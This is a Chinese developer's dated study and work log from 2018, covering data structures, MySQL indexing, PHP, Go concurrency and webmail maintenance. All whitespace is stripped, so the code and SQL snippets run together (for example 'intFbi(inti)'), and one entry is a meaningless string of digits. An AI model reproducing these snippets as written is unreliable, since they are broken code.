1.队列是先进先出的线性表,FIFO,允许插入的一端叫队尾,允许删除的一端队头2.队列的抽象数据类型InitQueue(*Q):初始化操作QueueLength(Q):返回队列的长度DestroyQueue(*Q):销毁队列ClearQueue(*Q):清空队列QueueEmpty(Q):判断队列是否为空GetHead(Q,*e):用e返回队列的队头元素EnQueue(*Q,e):插入e到队列的队尾元素DeQueue(*Q,*e):删除队列的队头元素3.引入两个指针front指向队头元素,rear指向队尾元素的下一个位置,队列顺序存储的不足,出队列时每个元素都移动,如果不移动会有假溢出问题4.循环队列,把队列头尾相接的顺序存储结构,解决假溢出问题5.单目运算符>算术运算符>移位>比较>按位>逻辑>三目运算符>赋值运算符6.快速排序:通过一趟排序将待排记录分隔成独立的两部分,其中一部分记录的关键字均比另一部分的关键字小,则可分别对这两部分记录继续进行排序从数列中挑出一个元素,称为基准重新排列数列,所有元素比基准小的放在基准前面,比基准大的放在基准后面,称为分区操作递归的把基准值左边的和基准值右边的进行排序 pdoMysql:$sql='select*fromiplimit_whitewhereent_id=:ent_idanduser_id=:user_id';$sth=$db->prepare($sql);$sth->execute(array(':ent_id'=>1,':user_id'=>2)); ==========================================================================2018年7月11日记录: php的heredoc技术:<< 1.栈与四则基本运算:1.不需要括号的后缀表达式称为逆波兰表示,解决了程序实现四则运算的难题2.所有符号都在要运算数字的后面出现,931-3*+102/+,遍历表达式,遇到数字就进栈,遇到符号就将栈顶的两个数字出栈运算,结果进栈3.后缀表达式的推导过程,9+(3-1)*3+10/2,若是数字就直接输出,若是符号则判断与栈顶的优先级,是右括号或优先级低于栈顶的,栈顶的依次出栈输出,当前符号进栈 2.对照七位的ASCII码表控制符码值<大写字母码值<小写字母码值3.文件的逻辑结构是用户可见结构:无结构的流式文件;有结构的记录式文件4.文件型病毒系计算机病毒的一种,主要通过感染计算机中的可执行文件(.exe)和命令文件(.com)宏病毒是一种寄存在文档或模板的宏中的计算机病毒。引导型病毒指寄生在磁盘引导区或主引导区的计算机病毒5.七层网络协议:应用层:HTTPFTPSMTPDNSTelnetHTTPS协议在HTTP协议的基础上,添加了SSl/TLS握手以及数据加密传输,也属于应用层协议表示层会话层传输层:TCPUDP网络层:IPICMPRIPOSPFBGPIGMP数据链路层:SLIPCSLIP物理层6.运算符优先级:&&>||>= ==========================================================================2018年7月10日记录: groupby配合group_concat可以合并多条记录到一条 1.斐波那契数列公式:f(n),当n=0是0;当n=1是1;当n>1f(n-1)+f(n-2)2.迭代法实现数列a[0]=0;a[1]=1;for(inti=2;i<40;i++){a[i]=a[i-1]+a[i-2]}3.递归法实现数列intFbi(inti){if(i<2)returni==00:1;returnFbi(i-1)+Fbi(i-2);}4.迭代使用的是循环结构,递归使用的是选择结构;递归结构清晰但是会建立大量函数副本,迭代不占更多内存 ==========================================================================2018年7月9日记录: 3165761327108231657613271082316513762710823165132776108231651327107682 31651327107682311365271076823113276510768231132710657682 133127106576821327311065768213271031657682==========================================================================2018年7月6日记录: 索引案例学习:1.如果使用某个索引进行范围查询,就无法再使用另一个索引(或者该索引的后续字段)进行排序了2.使用in()技术 栈的应用-函数递归-斐波那契数列-前面相邻之和构成后一项1.假设兔子在出生两个月以后就有繁殖能力,一对兔子每月能生出一对小兔子,假设所有兔子不死,一年后多少对兔子1123581321345589144233 ==========================================================================2018年7月5日记录: ip格式校验和ip段交集检测获取用户IP:$_SERVER['REMOTE_ADDR'] 类的自动加载:1.spl_autoload_register()函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。2.__autoload()函数也能自动加载类和接口,在以后的版本中它可能被弃用 选择优化的数据类型:1.选择更小的数据类型,例如0-200的tinyintunsigned更好2.选择简单的数据类型,例如整型比字符串代价更低3.避免使用NULL,使得索引非常复杂4.decimal类型用于存储精确的小数,可以指定精度小数点的最大位数,使用int乘以一定倍数存储5.varchar类型用于存储可变长字符串,节省了存储空间6.char类型定长,根据长度分配足够的空间,适合存储固定长度经常变更的数据,会截断末尾空格,例如MD5值7.blob和text,分别采用二进制和字符方式存储,只需排序前面的一小部分字符,不能对全部字符串进行索引,大字段排序会用到磁盘临时表和文件排序8.如果explain中的extra列包含了usingtemporary,说明使用了隐式临时表 ==========================================================================2018年7月4日记录: 获取系统的性能和状态:1.为基准测试建立目录,将测试结果,配置文件,测试指标,脚本和其他说明保存下来2.收集CPU使用率,磁盘I/O,网络流量统计,showglobalstatus计数器等3.自动化测试,可以是一个makefile文件或者一组脚本,可以根据选择:shell,PHP等 栈的抽象数据类型:1.InitStack(*S):初始化操作,建立一个空栈2.DestroyStack(*S):销毁栈3.ClearStack(*S):将栈清空4.StackEmpty(S):判断栈是否为空5.GetTop(S,*e):用e返回S的栈顶元素6.Push(*S,e):将e插入栈7.Pop(*S,*e):删除栈顶元素8.StackLength(S):返回S的元素个数 1.栈的顺序存储结构-进栈操作:S->top++S->data[S->top]=e出栈操作:S->top-- 2.两栈共享空间:两个栈是在数组的两端,向中间靠拢,栈满是top1+1=top2,两个栈顶会面进栈操作:S->top+1=S->top2栈满S->data[++S->top1]根据传入的栈序号,栈1S->data[--S->top2]栈2 出栈就是判断两个栈的序号S->top1--;S->top2++ ==========================================================================2018年7月3日记录: 1.InnoDB的数据存储在表空间,表空间是由InnoDB管理的一个黑盒子,由数据文件组成2.InnoDB采用MVCC来支持高并发,REPEATABLEREAD(可重复读),间隙锁(next-keylocking)防止幻读3.基于聚簇索引建立,聚簇索引对主键查询有很高的性能4.从磁盘读取采用可预测性预读,自动在内存中创建hash索引以加速读操作的自适应哈希索引5.支持热备份6.InnoDB的事务模型与锁 1.MyISAM加锁与并发,对整张表加锁2.repairtable进行数据修复3.可以基于前几个字符创建索引 栈是限定仅在表尾进行插入和删除操作的线性表,先进后出的数据结构,允许插入和删除的一端称为栈顶,另一端称为栈底,不含任何数据元素的栈称为空栈队列是只允许在一端进行插入操作,在另一端进行删除操作的线性表 ==========================================================================2018年7月2日记录: 1.将单链表中终端结点的指针端由空指针改为指向头结点,单循环链表,循环链表和单链表的主要差异就在于循环的判断条件上原来是判断p->next是否为空,现在则是p->next不等于头结点,则循环未结束2.指向终端结点的尾指针代表该循环链表3.两条循环链表合并成一个循环链表p=rearA->next;保存A表的头结点rearA->next=rearB->next->next;将本是B表的第一个结点赋值给rearA->nextrearB->next=p;将原A表的头结点赋值给rearB->nextfree(p) 1.双向链表就是在单链表的每个结点中,再设置一个指向其前驱结点的指针域2.双向链表的插入操作,将s插入到p和p->next之间,先搞定s的前驱和后继,再搞定后结点的前驱,最后搞定前结点的后继s->prior=p;把p赋值给s的前驱s->next=p->next;把p->next赋值给s的后继p->next->prior=s;把s赋值给p->next的前驱p->next=s;把s赋值给p的后继3.删除结点pp->prior->next=p->next;把p->next赋值给p->prior的后继p->next->prior=p->prior;把p->prior赋值给p->next的前驱 ==========================================================================2018年6月29日记录: 1.静态链表其实也是要提前申请大的内存,只是在删除和插入的时候,不需要之后的每个元素都变化2.静态链表本身也是数组也需要固定分配存储大小只是静态链表加入了游标来实现指针的作用插入和删除和链表的效率一样3.静态链表是为了让没有指针的高级语言也能够用数组实现链表功能4.静态链表分配足够大的空间,两个链表一个实际链表一个备用链表,数组的第一个元素的cur用来存放备用链表第一个结点的下标,数组最后一个元素的cur用来存放第一个插入元素的下标,实际链表的最后一个元素cur为0 utf8mb4:1.可以获取更好的兼容性,可以存储emoji表情符,建议使用utf8mb4而非utf8,事实上,最新版的phpmyadmin默认字符集就是utf8mb4。2.数据库表采用utf8mb4编码,其中varchar(255)的column进行了唯一键索引,而mysql默认情况下单个列的索引不能超过767位(不同版本可能存在差异)3.utf8mb4编码,一个字最多可以占用4个字节,那255*4就会超出767的字符限制了4.解决索引长度不够问题[Err]1071-Specifiedkeywastoolong;maxkeylengthis767bytes设置:innodb_large_prefix=1改为on就是限制3072innodb_file_format=Antelope mysql索引的长度计算:1.所有的索引字段,如果没有设置notnull,则需要加一个字节。2.定长字段,int占4个字节、date占3个字节、char(n)占n个字符。3.变长字段,varchar(n),则有n个字符+两个字节。4.不同的字符集,一个字符占用的字节数不同。latin1编码的,一个字符占用1个字节,gbk编码的,一个字符占用2个字节,utf8编码的,一个字符占用3个字节。utf8mb4是一个字符占4个字节5.使用explain语句查询到的key_len字段,可以适用于上面的计算规则,可以看到查询是否使用到了联合索引6.mysql优化器会对条件中的and的前后顺序根据多列索引顺序自动纠正过来 ==========================================================================2018年6月28日记录: 1.ip登陆限制,ip段排除内网三个网段的地址2.ip段如果在范围内,就禁止添加3.ip段如果有交集也禁止添加 FormData类型其实是在XMLHttpRequest2级定义的,它是为序列化表以及创建与表单格式相同的数据(当然是用于XHR传输)创建一个formData对象实例有几种方式1、创建一个空对象实例varformData=newFormData(); 静态链表:数组描述的链表,游标实现法,如何用静态数组模拟动态链表结构的存储空间分配,需要时申请,无用时释放 数组的每个下标都对应一个data和一个cur,cur相当于单链表中的next指针,我们把cur称作游标结构体数组:是指数组中的每个元素都是一个结构体。在实际应用中,结构体数组常被用来表示一个拥有相同数据结构的群体 只要是人写的代码,就有bug,不是这出问题就是那出问题,如果没有问题就是你还没有发现,阿里也不例外楼上说不浮不躁的装个屁呢,房价一直涨涨涨生活成本一直涨涨涨你还有心情不浮不躁慢慢潜心研究 ==========================================================================2018年6月27日记录: 链表头指针勘误:1.头指针是指链表指向第一个结点的指针2.若链表有头结点,则是指向头结点的指针3.头指针具有标识作用,用头指针冠以链表的名字4.无论链表是否为空,头指针均存在5.图3-6-4和图3-6-6,两图中“头指针”改为“后继指针地址”。图3-6-6,“0900”应该改为“NULL”6.单链表在C语言中用结构指针来描述7.单链表的读取主要是靠指针后移查找 单链表删除第i个数据结点的思路前三步一样4.查找成功,将想删除的结点p->next赋值给q5.删除标准语句p->next=q->next6.将q结点的数据赋值给e7.释放q结点,free(q) ==========================================================================2018年6月26日记录: ip登陆限制:1.该企业是否开启的状态位2.该用户是否在白名单3.该用户ip是否在限制ip和ip段中 线性表的抽象数据模型ADT:1.InitList(*L)初始化操作2.ListEmpty(L)判断线性表是否为空3.ClearList(*L)清空线性表4.GetElem(L,i,*e)线性表L中的第i个元素返回给e5.LocateElem(L,e)获取该元素在线性表中的位置6.ListInsert(*L,i,e)在线性表的第i个位置插入元素e7.ListDelete(*L,i,*e)删除线性表L中第i个元素,并用e返回该值8.ListLength(L)获取线性表的元素个数 A和B的并集操作:循环B中的每个元素,判断当前元素是否在A中,如果不在就插入到A中线性表的顺序存储结构用一维数组来实现,第i个数据元素的存储位置可以由a1推算出loc(Ai)=Loc(A1)+(i-1)*c ==========================================================================2018年6月25日记录: ServiceWorker会在另外的线程去缓存图片,等图片缓存完之后,再次刷新页面,就能看到它的威力。 散列函数:1.直接定址法,f(key)=a*key+b,简单但是很少用2.数字分析法,手机号的后四位等,抽取方法是使用关键字的一部分来计算散列存储位置的方法,在散列函数中是常常用到的手段3.平方取中法4.折叠分割求和法5.除留余数法,f(key)=keymodp(p<=m)如果表的长度是m,通常p为小于等于表长的最小质数6.随机数法,f(key)=random(key),设计好一个随机种子,使用相同的随机种子可以得到相同的数 解决哈希冲突:1.开放定址法之一线性探测法,f(key)=(f(key)+n)mod12,都不是同义词却需要争夺一个地址的情况称为堆积,增加平方运算不让关键字聚集在某一块区域,称为二次探测法f(key)=(f(key)+n的平方)mod12,位移量n采用随机函数生成,称之为随机探测法2.再散列函数法,调用多个散列函数3.链地址法将关键字为同义词的记录存储在一个单链表中,在散列表中只保留所有同义词表的头指针4.公共溢出区法,给所有冲突的关键字存到单独的溢出表 C语言静态数组:数组的长度需要事先指定,只能是一个常数,系统会为它分配一个固定大小的空间,以后都不能改变数组越界,访问到数组以外的内存数组溢出,赋值时超出数组长度 动态数组:数组的长度无法预先确定,执行代码的过程中用malloc分配的,需要手动释放内存 ==========================================================================2018年6月22日记录: php字符串比较大小:1.两个字符进行大小比较时,是比较着这两个字符的ASCII码大小2.两个字符串进行大小比较时,是从第一个字符开始,分别比教对应的ASCII大小3.当一个数字与一个字符串/字符进行大小比较时,首先系统尝试将此字符串/字符转换为整型,例如:intval("999元")为9994.0与任意不可转化为数字的字符串比较都为true 1.结构体指针,指针指向结构体,结构体变量名和数组名不同,数组名在表达式中会被转换成数组指针.2.结构体不会分配内存空间,是一种数据类型,结构体变量才包含实实在在的数据3.终端节点的指针端由空指针改为指向头结点,称为单循环列表,简称循环列表4.顺序表查找时,挨个比较记录a[i]与key的值,有序表查找时利用小于,大于,折半查找5.散列技术:存储位置=f(关键字),不需要比较直接取得存储位置;散列技术是在记录的存储位置和它的关键字之间建立一个确定的对应关系f,使得每个关键字key对应一个存储位置f(key).f称为散列函数或者哈希函数;采用散列技术将记录存储在一块连续的存储空间中,被称为散列表或哈希表6.散列技术既是存储方法也是查找方法,主要是面向查找的存储,最适合的求解问题是查找与给定值相等的记录7.不适用散列技术的情况:一对多;范围查找;排序;最大最小值8.冲突:两个关键字key1!=key2,但是f(key1)=f(key2),这种现象称为冲突9.哈希函数的标准是,计算简单,散列地址分布均匀 ==========================================================================2018年6月21日记录: 动态内存分配:1.在静态存储区域分配,编译时就分配好的变量2.在栈中进行分配,函数3.在堆中进行分配,调用malloc等函数,如果没有释放就一直在内存中 指针变量对星号*的总结:在我们目前所学到的语法中,星号*主要有三种用途:表示乘法,例如inta=3,b=5,c;c=a*b;,这是最容易理解的。表示定义一个指针变量,以和普通变量区分开,例如inta=100;int*p=&a;。表示获取指针指向的数据,是一种间接操作,例如inta,b,*p=&a;*p=100;b=*p; float称为单精度浮点型,double称为双精度浮点型,采用指数形式(2.1E5=2.1×105),float始终占用4个字节,double始终占用8个字节,小数在内存中的存储形式有关,很多简单的小数压根不能精确存储 ==========================================================================2018年6月20日记录: 哈希冲突攻击利用的哈希表最根本的弱点是:开源算法和哈希实现的确定性以及可预测性,利用特殊构造的key来进行攻击。要解决这个问题的方法则是让攻击者无法轻易构造能够进行攻击的key序列。PHP采用的是一种治标不治本的做法:限制用户提交数据字段数量这样可以避免大部分的攻击,执行json_decode()的时候也可能会遭受攻击,目前PHP中HashTable的哈希冲突解决方法就是链接法。 SDS(简单动态字符串)和C字符串有区别:1.容易获取长度2.杜绝缓冲区溢出3.减少修改字符串时带来的内存重分配次数 ==========================================================================2018年6月19日记录: 4.疑似问题:删除一个群发列表,增加一个新的群发列表,此时点返回,列表里面会少几条,刷新后正常显示 ServiceMesh是用于处理服务间通信的基础设施层。它负责通过构成现代云原生应用程序的复杂拓扑结构来可靠地传递请求,是位于TCP/IP之上的抽象层的网络模型,对服务节点间请求的路由机制进行了抽象 处理海量数据问题:1.哈希分治;2.simhash算法;3.外排序;4.MapReduce;5.多层划分;6.位图;7.布隆过滤器;8.Trie树;9.数据库;10.倒排索引。 ==========================================================================2018年6月15日记录: ==========================================================================2018年6月14日记录: 快速排序原理:1.先找第一个数字为基准数2.从右往左找小于基准数的,停止,从左往右找大于基准数的停止,两个交换3.直到左右的相遇停止,和基准数进行交换4.左边的继续递归,右边的继续递归5.快速排序之所以比冒泡快,因为每次交换都是跳跃式的 ==========================================================================2018年6月13日记录: 给定a、b两个文件,各存放50亿个url,每个url各占64字节,内存限制是4G,让你找出a、b文件共同的url1.遍历文件,对每个url求取hash(url)%1000,然后根据所取得的值将url分别存储到1000个小文件2.所有可能相同的url都在对应的小文件3.把其中一个小文件的url存储到hash_set中。然后遍历另一个小文件的每个url,看其是否在刚才构建的hash_set中 快速排序:1.序列中找第一个数作为基准数, ==========================================================================2018年6月12日记录: 海量日志数据,提取出某日访问百度次数最多的那个IP:1.大文件切分,比如切分成1024个小文件2.每个小文件构筑key是ip,value是次数的map,找出最多的那个3.排序一下 ==========================================================================2018年6月11日记录: 1.PHP命名空间与操作系统的物理文件系统不同,这是一个虚拟的概念,没必要和目录结构完全对应2.为了兼容PSR-4自动加载器标准,会对应目录结构3.可以导入函数和常量,usefuncxxx\xxx;useconstantxxx\xxx4.PHP-FIG制定了PSR-4的标准5.使用接口编程可以极大的提高代码扩展能力6.trait(性状):表名类可以做什么像是接口;提供模块化实现像是类7.定义traitMyTrait{},在其他类的定义体内中使用useMyTrait,php解释器会把性状内容复制过来8.这个时候在使用该类的对象的时候,可以直接使用trait中的方法9.php生成器yeild,可以极大的节省内存,例如读取大文件的时候,只会为1行分配内存10.使用use关键字附加变量到闭包上 创建链表尾插法1.创建头结点,头结点的next指向null2.把头结点赋值给一个中间变量3.循环中创建结点,中间变量的next指向新结点4.新结点覆盖中间变量 ==========================================================================2018年6月8日记录: 主从读取中,有些update语句指定了从库 1209-TheMySQLserverisrunningwiththe--read-onlyoptionsoitcannotexecutethisstatement两种原因:1.连到从库了。从库一般设置为只读。2.主库的read_only参数被修改为1 $i=0;echo$i++;输出0echo$i;输出1 ==========================================================================2018年6月7日记录: vim的多行注释:1.按ctrl+v进入visualblock模式2.按上下选中要注释的行3.按大写字母I,再插入注释符,例如//4.按两下esc5.按ctrl+v进入visualblock模式,按箭头选中要取消的//6.按d删除 c语言字符数组和字符串:1.存放字符的数组称为字符数组charstr[]2.'\0'也被称为字符串结束标志3.由""包围的字符串会自动在末尾添加'\0'4.逐个字符地给数组赋值并不会自动添加'\0'5.局部变量初始化为零值会自动添加结束标志6.直接使用一个指针指向字符串的形式char*str7.最根本的区别是在内存中的存储区域不一样,字符数组存储在全局数据区或栈区,第二种形式的字符串存储在常量区。全局数据区和栈区的字符串(也包括其他数据)有读取和写入的权限,而常量区的字符串(也包括其他数据)只有读取权限,没有写入权限。 ==========================================================================2018年6月6日记录: ==========================================================================2018年6月5日记录: 发送群发邮件时判断邮件的大小,限制100M filesize()获取文件字节大小unlink()删除文件rmdir()删除目录 旋转字符串:1.暴力移位法2.三步反转法3.链表翻转4.尾部移到头部5.单词翻转函数:描述客观世界变化规律的重要数学模型,指数函数,对数函数,幂函数指数:a的x次方,a^x对数函数:a^x=N,x叫做以a为底N的对数,x=log(a)N[指数式化为对数式],计算机上的log都是默认以10为底的对数,因此log100=2,log1000=3 ==========================================================================2018年6月4日记录: 1.微软经典的单词翻转题:输入“Iamastudent.”,则输出“student.aamI”。 ==========================================================================2018年6月1日记录: 待做:获取模板详情读取s3解析上传图片问题 ==========================================================================2018年5月31日记录: ==========================================================================2018年5月30日记录: redis群发邮件问题:1.auth密码2.清空listltrimkey103.fwrite()插入队列的问题,必须fget一下$line="lpushsend_mass_mail{$row}\r\n";$bool=fwrite($socket,$line);$len=strlen($line);$m=trim(fgets($socket)); ==========================================================================2018年5月29日记录: 分布式文件系统是指文件系统管理的物理存储资源不一定直接连接在本地节点上,而是通过计算机网络与节点相连。分布式文件系统的设计基于客户机/服务器模式。 ==========================================================================2018年5月28日记录: ==========================================================================2018年5月25日记录: 1.导入两个有着名字相同的包,必须至少为一个同名包指定一个新的包名以避免冲突2.计算包级变量的初始化表达式和执行导入包的init初始化函数,包的匿名导入3.Go语言的工具箱集合了一系列功能的命令集4.只需要配置一个名叫GOPATH的环境变量,用来指定当前工作目录即可5.工作区结构:src[存储源代码]bin[存储编译后的可执行程序]pkg[存储编译后包的目标文件]6.环境变量GOROOT用来指定Go的安装目录,目录结构和GOPATH类型7.goenv命令用于查看Go语言工具涉及的所有环境变量的值8.goget可以下载一个单一的包或者用...下载整个子目录里面的每个包9.gobuildsopans.com编译构建包,可以通过环境变量找到 ==========================================================================2018年5月24日记录: 申请redis服务: 申请服务器权限: ==========================================================================2018年5月23日记录: ==========================================================================2018年5月22日记录: 1.interface{}是空接口类型,可以将任意一个值赋给空接口类型,用类型断言来获取interface{}中值的方法2.类型断言检查它操作对象的动态类型是否和断言的类型匹配,是一个使用在接口值上的操作 练习9.3:扩展Func类型和(*Memo).Get方法,支持调用方提供一个可选的donechannel,使其具备通过该channel来取消整个操作的能力(§8.9)。一个被取消了的Func的调用结果不应该被缓存。 ==========================================================================2018年5月21日记录: 3.header('Content-Disposition:attachment;filename="mass_list.txt"');下载文件 锁表LOCKTABLEStbl_nameREAD;LOCKTABLEStbl_nameWRITE;UNLOCKTABLES;主从同步:mysqldump-dslave_test--master-data>dbdump.dbmysqldump-uroot-p-dslave_test>dbdump2.dbvimdiffdbdump.dbdbdump2.db ==========================================================================2018年5月18日记录: 数据库持久连接:1.持久的数据库连接是指在脚本结束运行时不关闭的连接。当收到一个持久连接的请求时。PHP将检查是否已经存在一个(前面已经开启的)相同的持久连接。如果存在,将直接使用这个连接;如果不存在,则建立一个新的连接。所谓“相同”的连接是指用相同的用户名和密码到相同主机的连接。 PDO持久化连接:$dbh=newPDO('mysql:host=localhost;dbname=test',$user,$pass,array(PDO::ATTR_PERSISTENT=>true)); sync.Once惰性初始化:一次性的初始化需要一个互斥量mutex和一个boolean变量来记录初始化是不是已经完成了,互斥量用来保护boolean变量和客户端数据结构 竞争检查器(theracedetector):在gobuild,gorun或者gotest命令后面加上-race的flag,能够记录所有运行期对共享变量访问工具的test 主流的WEB服务:REST,SOAP,RPC1.REST是基于HTTP协议的一个补充,他的每一次请求都是一个HTTP请求,然后根据不同的method来处理不同的逻辑2.SOAP是W3C在跨网络信息传递和远程计算机函数调用方面的一个标准。但是SOAP非常复杂3.GO天生提供方便的RPC机制4.有连接的流式Socket(SOCK_STREAM)TCP和无连接数据报式Socket(SOCK_DGRAM)UDP5.IPv4的地址位数为32位,也就是最多有2的32次方的网络设备可以联到Internet上,IPv6采用128位地址长度,几乎可以不受限制地提供地址6. ==========================================================================2018年5月17日记录: GO环境变量:$GOROOTGO的安装目录;$GOPATHGO的源码目录 竞争条件:无论任何时候,只要有两个goroutine并发访问同一变量,且至少其中的一个是写操作的时候就会发生数据竞争。 练习9.1:给gopl.io/ch9/bank1程序添加一个Withdraw(amountint)取款函数。其返回结果应该要表明事务是成功了还是因为没有足够资金失败了。这条消息会被发送给monitor的goroutine,且消息需要包含取款的额度和一个新的channel,这个新channel会被monitorgoroutine来把boolean结果发回给Withdraw。 允许多个只读操作并行执行,但写操作会完全互斥。这种锁叫作“多读单写”锁(multiplereaders,singlewriterlock),Go语言提供的这样的锁是sync.RWMutex,“同步”不仅仅是一堆goroutine执行顺序的问题,同样也会涉及到内存和本地缓存的问题 ==========================================================================2018年5月16日记录: apache配置Directory目录权限: 连接管理:1.每个客户端连接都会在服务器进程中拥有一个线程,这个连接的查询只会在这个单独的线程中执行,服务器会缓存线程,5.5及以上版本提供了API支持线程池,可以使用池中的少量线程来服务大量连接2.线程池与连接池区别,连接池是指客户端,预先创建一定的连接,利用这些连接服务于客户端请求,如果连接超过时需要将连接排队 事务:1.严格的ACID测试,原子性,一致性,隔离性,持久性2.死锁是指两个或者多个事务在同一资源上相互占用,并请求锁定对方占用的资源,导致恶性循环,部分或者完全回滚其中一个事务才能打破死锁 索引和锁:1.索引可以让查询锁定更少的行2.索引可以在存储引擎层过滤掉不需要的行,从而减少在服务器层的锁定行数3.服务器层查询行时候获取到排他锁,其他连接查询时会挂起4.innodb在二级索引上使用共享锁,访问主键索引需要排他锁 rpc:1.远程过程调用,两台服务器a,b,在a服务器上的应用2.首先,要解决通讯的问题,主要是通过在客户端和服务器之间建立TCP连接3.第二,要解决寻址的问题,也就是说,A服务器上的应用怎么告诉底层的RPC框架,如何连接到B服务器(如主机或IP地址)以及特定的端口,方法的名称名称是什么4.第三,当A服务器上的应用发起远程过程调用时,方法的参数需要通过底层的网络协议如TCP传递到B服务器,由于网络协议是基于二进制的,内存中的参数的值要序列化成二进制的形式5.第四,B服务器收到请求后,需要对参数进行反序列化(序列化的逆操作),恢复为内存中的表达方式,然后找到对应的方法(寻址的一部分)进行本地调用6.第五,返回值还要发送回服务器A上的应用,也要经过序列化的方式发送,服务器A接到后,再反序列化,恢复为内存中的表达方式 ==========================================================================2018年5月15日记录: 主键索引和唯一索引的区别:1.主键创建后一定包含一个唯一性索引,唯一性索引并不一定就是主键2.唯一索引允许空值,而主键列不允许为空值3.一个表最多只能创建一个主键,但可以创建多个唯一索引 1.聚簇索引:不是一种单独的索引类型,是一种数据存储方式,在同一个结构中保存b树索引和数据行,一个表只能有一个聚簇索引,innodb通过主键聚集数据,二级索引(非聚簇)需要两次索引查找,如果主键是一个随机的例如uuid,性能就会很糟糕,主键尽量使用自增id. 2.覆盖索引:一个索引覆盖所有需要查询的字段的值,称为覆盖索引,对innodb表特别有用,查询时在explain的extra列可以看到usingindex,使用时也要符合最左前缀原则 3.索引扫描来做排序,explain后的type列是index,如果没有覆盖全部查询列,速度慢,只有当索引的列顺序和orderby子句的顺序完全一致并且所有列的排序顺序都一样,才能使用索引来做排序 ==========================================================================2018年5月14日记录: 高性能的使用索引策略1.独立的列2.前缀索引和索引选择性;每个列的前几个字符和不重复的索引对总记录数的比值尽量让这个前缀的选择性和完整列的选择性接近,选择性越高越好,这样索引会小点selectcount(distinctname)/count(*)asselfromtest3.多列索引,注意是否出现索引合并现象4.选择合适的索引列顺序选择性高的字段放在前面5.聚簇索引,innodb支持6.覆盖索引,不需要回表 ==========================================================================2018年5月11日记录: 两个表添加索引:altertablegroup0addindexidx_user(user);altertablecontact_group0addindexidx_user(user); AuthName"Login"AuthTypebasicAuthUserFile"basic_users.conf"requirevalid-user 企邮web:1.查找webmail数据库主从查询读写分离2.webmail查找添加数据库索引问题3.webmail迁移php7功能测试4.特定浏览器webmail下载附件失败问题5.webmail首页500错误问题查找6.查找添加白名单问题7.企管离职imap代收问题 企管:企管离职管理项目二期上线 ==========================================================================2018年5月10日记录: header("Access-Control-Allow-Origin:*");//跨域header头 第九章:基于共享变量的并发9.1.竞争条件1.没有办法确认一个事件是在另一个事件的前面或者后面发生的话,说明x和y这两个事件是并发的2.一个函数在并发的情况下,依然可以正常的工作,那么就说这个函数是并发安全的3.竞争条件指的是程序在多个goroutine交叉执行的时候,没有给出正确的结果4.只要有两个goroutine并发访问同一个变量,且至少其中的一个是写操作的时候就会发生数据竞争5.避免数据竞争:不要写变量,避免从多个goroutine访问变量,使用channel来查询更新变量 ==========================================================================2018年5月9日记录: 配置文件中,换成主从:corpinfo'dsn'=>array(有些特殊的查询,是指定的查询的主库:Sina_Application::resource('corpinfo')->getConnection(Sina_Db_Adapter::MASTER)->prepare($strSql); 今天加的白名单问我为啥8号的邮件落垃圾夹,查找添加到白名单的: ==========================================================================2018年5月8日记录: 聊天服务:1.让一些用户通过服务器向其他所有用户广播文本消息2.程序中有四种goroutine,mainbroadcaster每个客户端连接handleConnclientWriter ==========================================================================2018年5月7日记录: find./-typef-name*sinamail.sina.net-access.log.0.gz|xargszcat|grep"wa.phpa=add_contact"|wc-l五月份添加联系人的个数:330 企邮登陆后主页面白屏: 1.mysql抛出的异常中,code字段不是整形然后php的exception接受code只允许整形2.当异常时,记录下当前执行的sql语句 ==========================================================================2018年5月4日记录: ==========================================================================2018年5月3日记录: 图:由顶点的有穷非空集合和顶点之间的边集合组成,G(V,E) ==========================================================================2018年5月2日记录: 并发和并行的区别:并发是两个队列交替使用一台咖啡机,并行是两个队列同时使用两台咖啡机,如果串行,一个队列使用一台咖啡机 操作系统中的堆栈与数据结构中的堆栈是两个概念:1.堆区(heap)一般由程序员分配释放,若程序员不释放,程序结束时可能由OS回收,通过malloc和new等动态申请的内存2.栈区(stack)—由编译器自动分配释放,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。 Goroutines和线程:1.动态栈:1)线程都有一个固定大小的内存块(一般会是2MB)来做栈2)一个goroutine会以一个很小的栈开始其生命周期,一般只需要2KB,不是固定的;栈的大小会根据需要动态地伸缩2.Goroutine调度:1)线程是使用硬件定时器进行的调度,速度慢2)Go是使用的自己的调度器,在线程的基础上调度,不需要进入内核的上下文3.GOMAXPROCS环境变量可以确定启动多少线程同时执行go代码4.goroutine没有可以被程序员获取到的身份(id)的概念 ==========================================================================2018年4月28日记录: Go语言圣经-实现接口的条件1.那么关于interface{}类型,它没有任何方法,请讲出哪些具体的类型实现了它2.interface{}被称为空接口类型,空接口类型对实现它的类型没有要求,所以我们可以将任意一个值赋给空接口类型3.因为接口实现只依赖于判断的两个类型的方法,所以没有必要定义一个具体类型和它实现的接口之间的关系 Go语言圣经-channels1.如果说goroutine是Go语言程序的并发体的话,那么channels则是它们之间的通信机制。 ==========================================================================2018年4月27日记录:下载附件失败问题:在a标签加download属性后,跳转丢失cookie"Mozilla/5.0(WindowsNT6.2;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/49.0.2623.110Safari/537.36""Mozilla/5.0(WindowsNT6.2;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.16Safari/537.36""Mozilla/5.0(WindowsNT6.2;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/31.0.1650.16Safari/537.36" "Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;Trident/7.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;InfoPath.3;.NET4.0C;.NET4.0E;TabletPC2.0;MARKANYEPS#25111;SMJB;printmade=3.0.0.8;MicrosoftOutlook14.0.7189;ms-office;MSOffice14)" "Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.1;WOW64;Trident/7.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC6.0;InfoPath.3;.NET4.0C;.NET4.0E;MARKANYREPORT#25106;printmade=3.0.0.8;MicrosoftOutlook14.0.7197;ms-office;MSOffice14)" "Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.2;WOW64;Trident/7.0;.NET4.0C;.NET4.0E;.NETCLR2.0.50727;.NETCLR3.0.30729;.NETCLR3.5.30729;InfoPath.3;MicrosoftOutlook14.0.7197;ms-office;MSOffice14)" ==========================================================================2018年4月26日记录: 